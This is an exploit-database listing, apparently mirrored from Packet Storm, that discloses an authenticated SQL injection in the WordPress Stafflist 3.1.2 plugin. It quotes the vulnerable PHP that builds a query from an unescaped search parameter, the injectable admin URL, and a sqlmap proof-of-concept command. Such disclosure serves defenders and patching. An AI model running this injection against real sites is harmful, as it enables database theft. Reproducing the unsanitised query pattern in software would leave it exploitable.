Lucene search
K

WordPress Stafflist 3.1.2 SQL Injection

🗓️ 02 May 2022 00:00:00Reported by Hassan Khan YusufzaiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 210 Views

WordPress Stafflist 3.1.2 SQL Injection, Authenticated, Vulnerable to SQL Injection in Search Functio

Code
`# Exploit Title: WordPress Plugin stafflist 3.1.2 - SQL Injection  
(Authenticated)  
# Date: 05-02-2022  
# Exploit Author: Hassan Khan Yusufzai - Splint3r7  
# Vendor Homepage: https://wordpress.org/plugins/stafflist/  
# Version: 3.1.2  
# Tested on: Firefox  
# Contact me: h [at] spidersilk.com  
  
# Vulnerable Code:  
  
$w = (isset($_GET['search']) && (string) trim($_GET['search'])!="" ?  
...  
$where = ($w ? "WHERE LOWER(lastname) LIKE '%{$w}%' OR  
LOWER(firstname) LIKE '%{$w}%' OR  
LOWER(department) LIKE '%{$w}%' OR  
LOWER(email) LIKE '%{$w}%'" : "");  
  
  
# Vulnerable URL  
  
http://localhost:10003/wp-admin/admin.php?page=stafflist&search=[SQLI]  
  
# POC  
  
```  
sqlmap -u 'http://localhost:10003/wp-admin/admin.php?page=stafflist&search=test*'  
--cookie="wordpress_cookies_paste_here"  
```  
  
# POC Image  
  
https://prnt.sc/AECcFRHhe2ib  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 May 2022 00:00Current
0.6Low risk
Vulners AI Score0.6
210